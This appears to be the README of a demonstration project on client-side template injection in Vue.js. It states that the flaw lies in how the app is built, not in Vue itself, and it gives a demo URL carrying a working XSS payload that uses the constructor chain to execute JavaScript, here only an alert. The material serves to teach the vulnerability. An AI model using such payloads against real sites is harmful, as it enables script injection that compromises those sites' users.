Client-Side Template Injection An example of client-side template injection with Vue.js Clarification This is not a problem with Vue itself. For more details, see the following issue. Clarification · Issue #2 · azu/vue-client-side-template-injection-example Site https://vue-client-side-template-injection-example.azu.now.sh/?name=xxx Payload XSS Payload https://vue-client-side-template-injection-example.azu.now.sh/?name={{this.constructor.constructor('alert("foo")')()}}